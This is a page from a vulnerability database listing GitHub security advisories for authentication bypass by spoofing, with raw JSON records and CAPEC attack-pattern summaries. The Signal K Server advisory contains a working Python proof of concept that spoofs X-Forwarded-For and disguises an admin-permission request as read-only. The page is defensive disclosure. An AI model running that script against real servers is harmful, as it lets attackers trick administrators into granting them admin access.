Common Weakness Enumeration

CWE-290

Allowed

Authentication Bypass by Spoofing

Abstraction: Base · Status: Incomplete

This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.

1189 vulnerabilities reference this CWE, most recent first.

GHSA-V8JG-P3FP-G968

Vulnerability from github – Published: 2022-09-28 00:00 – Updated: 2025-11-04 21:30
VLAI
Details

Layer 2 network filtering capabilities such as IPv6 RA guard or ARP inspection can be bypassed using combinations of VLAN 0 headers and LLC/SNAP headers.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-27853"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-27T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Layer 2 network filtering capabilities such as IPv6 RA guard or ARP inspection can be bypassed using combinations of VLAN 0 headers and LLC/SNAP headers.",
  "id": "GHSA-v8jg-p3fp-g968",
  "modified": "2025-11-04T21:30:27Z",
  "published": "2022-09-28T00:00:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27853"
    },
    {
      "type": "WEB",
      "url": "https://blog.champtar.fr/VLAN0_LLC_SNAP"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/draft-ietf-v6ops-ra-guard/08"
    },
    {
      "type": "WEB",
      "url": "https://kb.cert.org/vuls/id/855201"
    },
    {
      "type": "WEB",
      "url": "https://standards.ieee.org/ieee/802.1Q/10323"
    },
    {
      "type": "WEB",
      "url": "https://standards.ieee.org/ieee/802.2/1048"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-VU855201-J3z8CKTX"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/855201"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VCFJ-M4G8-J8JV

Vulnerability from github – Published: 2025-05-27 21:32 – Updated: 2025-05-28 15:34
VLAI
Details

Inappropriate implementation in Tab Strip in Google Chrome prior to 137.0.7151.55 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-5067"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-27T21:15:22Z",
    "severity": "MODERATE"
  },
  "details": "Inappropriate implementation in Tab Strip in Google Chrome prior to 137.0.7151.55 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)",
  "id": "GHSA-vcfj-m4g8-j8jv",
  "modified": "2025-05-28T15:34:29Z",
  "published": "2025-05-27T21:32:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5067"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2025/05/stable-channel-update-for-desktop_27.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/40075024"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VCGC-H73Q-2M2P

Vulnerability from github – Published: 2025-03-11 15:31 – Updated: 2025-10-22 00:33
VLAI
Details

AMI’s SPx contains a vulnerability in the BMC where an Attacker may bypass authentication remotely through the Redfish Host Interface. A successful exploitation of this vulnerability may lead to a loss of confidentiality, integrity, and/or availability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-54085"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-11T14:15:22Z",
    "severity": "CRITICAL"
  },
  "details": "AMI\u2019s SPx contains\na vulnerability in the BMC where an Attacker may bypass authentication remotely through the Redfish Host Interface. A successful exploitation\nof this vulnerability may lead to a loss of confidentiality, integrity, and/or\navailability.",
  "id": "GHSA-vcgc-h73q-2m2p",
  "modified": "2025-10-22T00:33:14Z",
  "published": "2025-03-11T15:31:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54085"
    },
    {
      "type": "WEB",
      "url": "https://arstechnica.com/security/2025/06/active-exploitation-of-ami-management-tool-imperils-thousands-of-servers"
    },
    {
      "type": "WEB",
      "url": "https://eclypsium.com/blog/bmc-vulnerability-cve-2024-05485-cisa-known-exploited-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "https://go.ami.com/hubfs/Security%20Advisories/2025/AMI-SA-2025003.pdf"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250328-0003"
    },
    {
      "type": "WEB",
      "url": "https://www.bleepingcomputer.com/news/security/cisa-ami-megarac-bug-that-lets-hackers-brick-servers-now-actively-exploited"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-54085"
    },
    {
      "type": "WEB",
      "url": "https://www.networkworld.com/article/4013368/ami-megarac-authentication-bypass-flaw-is-being-exploitated-cisa-warns.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VCHJ-X6C5-P264

Vulnerability from github – Published: 2022-10-12 12:00 – Updated: 2025-01-03 00:31
VLAI
Details

Windows NTLM Spoofing Vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-35770"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-11T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Windows NTLM Spoofing Vulnerability.",
  "id": "GHSA-vchj-x6c5-p264",
  "modified": "2025-01-03T00:31:05Z",
  "published": "2022-10-12T12:00:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35770"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35770"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-35770"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VF34-QVPR-WP86

Vulnerability from github – Published: 2026-09-23 21:30 – Updated: 2026-09-23 21:30
VLAI
Details

Unauthenticated Bypass Vulnerability in Captcha Code <= 3.32 versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-94457"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-23T19:19:49Z",
    "severity": "MODERATE"
  },
  "details": "Unauthenticated Bypass Vulnerability in Captcha Code \u003c= 3.32 versions.",
  "id": "GHSA-vf34-qvpr-wp86",
  "modified": "2026-09-23T21:30:47Z",
  "published": "2026-09-23T21:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-94457"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/captcha-code-authentication/vulnerability/wordpress-captcha-code-plugin-3-32-bypass-vulnerability-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VFQC-QHM9-65MM

Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2022-05-13 01:44
VLAI
Details

A localhost.localdomain whitelist entry in valid_host() in scheduler/client.c in CUPS before 2.2.2 allows remote attackers to execute arbitrary IPP commands by sending POST requests to the CUPS daemon in conjunction with DNS rebinding. The localhost.localdomain name is often resolved via a DNS server (neither the OS nor the web browser is responsible for ensuring that localhost.localdomain is 127.0.0.1).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-18190"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-02-16T17:29:00Z",
    "severity": "HIGH"
  },
  "details": "A localhost.localdomain whitelist entry in valid_host() in scheduler/client.c in CUPS before 2.2.2 allows remote attackers to execute arbitrary IPP commands by sending POST requests to the CUPS daemon in conjunction with DNS rebinding. The localhost.localdomain name is often resolved via a DNS server (neither the OS nor the web browser is responsible for ensuring that localhost.localdomain is 127.0.0.1).",
  "id": "GHSA-vfqc-qhm9-65mm",
  "modified": "2022-05-13T01:44:36Z",
  "published": "2022-05-13T01:44:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18190"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apple/cups/commit/afa80cb2b457bf8d64f775bed307588610476c41"
    },
    {
      "type": "WEB",
      "url": "https://bugs.chromium.org/p/project-zero/issues/detail?id=1048"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/02/msg00023.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/07/msg00003.html"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3577-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VFRF-VCJ7-WVR8

Vulnerability from github – Published: 2026-01-02 15:26 – Updated: 2026-01-02 15:26
VLAI
Summary
Signal K Server Vulnerable to Access Request Spoofing
Details

The SignalK access request system has two related features that when combined by themselves and with the infromation disclosure vulnerability enable convincing social engineering attacks against administrators.

When a device creates an access request, it specifies three fields: clientId, description, and permissions. The SignalK admin UI displays the description field prominently to the administrator when showing pending requests, but the actual permissions field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request admin permissions while providing a description that suggests readonly access.

The access request handler trusts the X-Forwarded-For HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses.

Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval.

Affected Code

File: packages/server-admin-ui/src/views/security/AccessRequests.js

The admin UI renders access requests showing the description field prominently. The permissions field is displayed but may not be as visually prominent, leading administrators to approve based on the description text.

File: src/tokensecurity.js (access request creation and IP extraction)

// Access request accepts any permissions value from the client
const permissions = req.body.permissions  // No validation against description

// IP address extraction trusts X-Forwarded-For without validation
const ip = req.headers['x-forwarded-for'] || req.connection.remoteAddress

The code prioritizes the X-Forwarded-For header over the actual connection IP, allowing client-controlled spoofing.

Impact

An administrator who trusts device descriptions and IP addresses may inadvertently grant admin privileges to an attacker. The combination of spoofed device name, misleading description, and trusted internal IP address creates a highly convincing social engineering attack. Combined with the token theft vulnerability, this provides a complete authentication bypass requiring only one click from the admin.

PoC

import requests

TARGET = "http://localhost:3000"
SPOOFED_IP = "192.168.1.100"

def create_spoofed_request(device_name):
    payload = {
        "clientId": device_name,
        "description": f"{device_name} - Read Only",  # Misleading
        "permissions": "admin"  # Actually requesting admin!
    }

    headers = {
        "Content-Type": "application/json",
        "X-Forwarded-For": SPOOFED_IP  # Spoof internal IP
    }

    r = requests.post(
        f"{TARGET}/signalk/v1/access/requests",
        json=payload,
        headers=headers
    )

    if r.status_code == 202:
        data = r.json()
        href = data.get("href")
        request_id = href.split("/")[-1] if href else None

        print(f"[+] Access request created!")
        print(f"[+] Request ID: {request_id}")
        print(f"[+] Admin sees: '{payload['description']}'")
        print(f"[+] Actual permissions: {payload['permissions']}")
        print(f"[+] Spoofed IP: {SPOOFED_IP}")

        return request_id
    else:
        print(f"[-] Failed: {r.status_code} - {r.text}")
        return None

if __name__ == "__main__":
    # First enumerate devices/sources using info disclosure vulnerability
    sources = requests.get(f"{TARGET}/signalk/v1/api/sources").json()
    devices = [d for d in sources.keys() if d != "defaults"]

    if devices:
        print(f"[+] Found devices: {devices}")
        create_spoofed_request(devices[0])
    else:
        create_spoofed_request("sensor-01")

Recommendation

  1. Display permissions prominently. The admin UI should prominently display the requested permission level with visual warnings for elevated permissions (readwrite, admin). Consider requiring administrators to explicitly select the permission level during approval rather than accepting the requested value.
  2. Validate X-Forwarded-For headers. Only trust X-Forwarded-For headers from configured trusted proxy IP addresses. Implement Express.js trust proxy settings or equivalent. Log both the forwarded IP and the actual connection IP for audit purposes.
  3. Whitelist device IP addresses. Implement an IP whitelist for access requests, allowing only known device IP addresses to create requests. This prevents external attackers from creating spoofed requests.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "signalk-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.19.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-69203"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-02T15:26:11Z",
    "nvd_published_at": "2026-01-01T19:15:54Z",
    "severity": "MODERATE"
  },
  "details": "The SignalK access request system has two related features that when combined by themselves and with the infromation disclosure vulnerability enable convincing social engineering attacks against administrators.\n\nWhen a device creates an access request, it specifies three fields: `clientId`, `description`, and `permissions`. The SignalK admin UI displays the `description` field prominently to the administrator when showing pending requests, but the actual `permissions` field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request `admin` permissions while providing a description that suggests readonly access.\n\nThe access request handler trusts the `X-Forwarded-For` HTTP header without validation to determine the client\u0027s IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses.\n\nSince device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval.\n\n### Affected Code\n\n**File**: `packages/server-admin-ui/src/views/security/AccessRequests.js`\n\nThe admin UI renders access requests showing the description field prominently. The permissions field is displayed but may not be as visually prominent, leading administrators to approve based on the description text.\n\n**File**: `src/tokensecurity.js` (access request creation and IP extraction)\n\n```javascript\n// Access request accepts any permissions value from the client\nconst permissions = req.body.permissions  // No validation against description\n\n// IP address extraction trusts X-Forwarded-For without validation\nconst ip = req.headers[\u0027x-forwarded-for\u0027] || req.connection.remoteAddress\n```\n\nThe code prioritizes the `X-Forwarded-For` header over the actual connection IP, allowing client-controlled spoofing.\n\n### Impact\n\nAn administrator who trusts device descriptions and IP addresses may inadvertently grant admin privileges to an attacker. The combination of spoofed device name, misleading description, and trusted internal IP address creates a highly convincing social engineering attack. Combined with the token theft vulnerability, this provides a complete authentication bypass requiring only one click from the admin.\n\n### PoC\n\n```python\nimport requests\n\nTARGET = \"http://localhost:3000\"\nSPOOFED_IP = \"192.168.1.100\"\n\ndef create_spoofed_request(device_name):\n    payload = {\n        \"clientId\": device_name,\n        \"description\": f\"{device_name} - Read Only\",  # Misleading\n        \"permissions\": \"admin\"  # Actually requesting admin!\n    }\n    \n    headers = {\n        \"Content-Type\": \"application/json\",\n        \"X-Forwarded-For\": SPOOFED_IP  # Spoof internal IP\n    }\n    \n    r = requests.post(\n        f\"{TARGET}/signalk/v1/access/requests\",\n        json=payload,\n        headers=headers\n    )\n    \n    if r.status_code == 202:\n        data = r.json()\n        href = data.get(\"href\")\n        request_id = href.split(\"/\")[-1] if href else None\n        \n        print(f\"[+] Access request created!\")\n        print(f\"[+] Request ID: {request_id}\")\n        print(f\"[+] Admin sees: \u0027{payload[\u0027description\u0027]}\u0027\")\n        print(f\"[+] Actual permissions: {payload[\u0027permissions\u0027]}\")\n        print(f\"[+] Spoofed IP: {SPOOFED_IP}\")\n        \n        return request_id\n    else:\n        print(f\"[-] Failed: {r.status_code} - {r.text}\")\n        return None\n\nif __name__ == \"__main__\":\n    # First enumerate devices/sources using info disclosure vulnerability\n    sources = requests.get(f\"{TARGET}/signalk/v1/api/sources\").json()\n    devices = [d for d in sources.keys() if d != \"defaults\"]\n    \n    if devices:\n        print(f\"[+] Found devices: {devices}\")\n        create_spoofed_request(devices[0])\n    else:\n        create_spoofed_request(\"sensor-01\")\n```\n\n### Recommendation\n\n1. Display permissions prominently. The admin UI should prominently display the requested permission level with visual warnings for elevated permissions (readwrite, admin). Consider requiring administrators to explicitly select the permission level during approval rather than accepting the requested value.\n2. Validate X-Forwarded-For headers. Only trust `X-Forwarded-For` headers from configured trusted proxy IP addresses. Implement Express.js trust proxy settings or equivalent. Log both the forwarded IP and the actual connection IP for audit purposes.\n3. Whitelist device IP addresses. Implement an IP whitelist for access requests, allowing only known device IP addresses to create requests. This prevents external attackers from creating spoofed requests.",
  "id": "GHSA-vfrf-vcj7-wvr8",
  "modified": "2026-01-02T15:26:11Z",
  "published": "2026-01-02T15:26:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-vfrf-vcj7-wvr8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69203"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/commit/221aff6cd89c56308084d1781b3abbf938605bd3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SignalK/signalk-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Signal K Server Vulnerable to Access Request Spoofing"
}

GHSA-VGG9-3QC4-WV7M

Vulnerability from github – Published: 2026-10-07 12:31 – Updated: 2026-10-07 18:32
VLAI
Details

Apache YuniKorn 1.9.0 and earlier allows bypassing the check for the user annotation by setting a secondary label on the pod. If the pod has the label 'app=yunikorn' the checks limiting the user annotation content are not run. The label is used to identify the YuniKorn application itself in the deployments.

The bypass allows any user to specify an arbitrary user info annotation. The arbitrary user information could allow access to a queue that the user normally would not have access to. Quota usage for the queue might be impacted if the application runs in the incorrect queue. User based quota enforcement is also based on the user annotation. User quota tracking could be side stepped even if the application runs in the correct queue.

Users are recommended to upgrade to version 1.10.0, which fixes this issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-97146"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-07T10:17:43Z",
    "severity": "MODERATE"
  },
  "details": "Apache YuniKorn 1.9.0 and earlier allows bypassing the check for the user annotation by setting a secondary label on the pod.\u00a0If the pod has the label \u0027app=yunikorn\u0027 the checks limiting the user annotation content are not run. The label is used to identify the YuniKorn application itself in the deployments.\n\n\nThe bypass allows any user to specify an arbitrary user info annotation. The arbitrary user information\u00a0could allow access to a queue that the user normally would not have access to.\u00a0Quota usage for the queue might be impacted if the application runs in the incorrect queue.\u00a0User based quota enforcement is also based on the user annotation. User quota tracking could be side stepped even if the application runs in the correct queue.\n\n\n\n\nUsers are recommended to upgrade to version 1.10.0, which fixes this issue.",
  "id": "GHSA-vgg9-3qc4-wv7m",
  "modified": "2026-10-07T18:32:08Z",
  "published": "2026-10-07T12:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97146"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/nds5ct9xzlo4fp0jfr1rx6jxm03g0jro"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/10/07/26"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VGR3-GMW5-QGP2

Vulnerability from github – Published: 2024-12-02 18:31 – Updated: 2024-12-02 18:31
VLAI
Details

Snap One OVRC cloud uses the MAC address as an identifier to provide information when requested. An attacker can impersonate other devices by supplying enumerated MAC addresses and receive sensitive information about the device.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-50380"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-02T17:15:11Z",
    "severity": "HIGH"
  },
  "details": "Snap One OVRC cloud uses the MAC address as an identifier to provide information when requested. An attacker can impersonate other devices by supplying enumerated MAC addresses and receive sensitive information about the device.",
  "id": "GHSA-vgr3-gmw5-qgp2",
  "modified": "2024-12-02T18:31:55Z",
  "published": "2024-12-02T18:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50380"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-136-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VH5R-Q6CJ-W4Q5

Vulnerability from github – Published: 2023-02-02 09:30 – Updated: 2023-02-09 21:30
VLAI
Details

Authentication Bypass by Spoofing vulnerability in Mitsubishi Electric Corporation GOT2000 Series GT27 model versions 01.14.000 to 01.47.000, Mitsubishi Electric Corporation GOT2000 Series GT25 model versions 01.14.000 to 01.47.000 and Mitsubishi Electric Corporation GT SoftGOT2000 versions 1.265B to 1.285X allows a remote unauthenticated attacker to disclose sensitive information from users' browsers or spoof legitimate users by abusing inappropriate HTML attributes.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-40269"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-02T08:15:00Z",
    "severity": "HIGH"
  },
  "details": "Authentication Bypass by Spoofing vulnerability in Mitsubishi Electric Corporation GOT2000 Series GT27 model versions 01.14.000 to 01.47.000, Mitsubishi Electric Corporation GOT2000 Series GT25 model versions 01.14.000 to 01.47.000 and Mitsubishi Electric Corporation GT SoftGOT2000 versions 1.265B to 1.285X allows a remote unauthenticated attacker to disclose sensitive information from users\u0027 browsers or spoof legitimate users by abusing inappropriate HTML attributes.",
  "id": "GHSA-vh5r-q6cj-w4q5",
  "modified": "2023-02-09T21:30:27Z",
  "published": "2023-02-02T09:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40269"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/vu/JVNVU91222434/index.html"
    },
    {
      "type": "WEB",
      "url": "https://www.mitsubishielectric.com/en/psirt/vulnerability/pdf/2022-021_en.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-21: Exploitation of Trusted Identifiers

An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-459: Creating a Rogue Certification Authority Certificate

An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.

CAPEC-461: Web Services API Signature Forgery Leveraging Hash Function Extension Weakness

An adversary utilizes a hash function extension/padding weakness, to modify the parameters passed to the web service requesting authentication by generating their own call in order to generate a legitimate signature hash (as described in the notes), without knowledge of the secret token sometimes provided by the web service.

CAPEC-473: Signature Spoof

An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.

CAPEC-476: Signature Spoofing by Misrepresentation

An attacker exploits a weakness in the parsing or display code of the recipient software to generate a data blob containing a supposedly valid signature, but the signer's identity is falsely represented, which can lead to the attacker manipulating the recipient software or its victim user to perform compromising actions.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-60: Reusing Session IDs (aka Session Replay)

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

CAPEC-667: Bluetooth Impersonation AttackS (BIAS)

An adversary disguises the MAC address of their Bluetooth enabled device to one for which there exists an active and trusted connection and authenticates successfully. The adversary can then perform malicious actions on the target Bluetooth device depending on the target’s capabilities.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.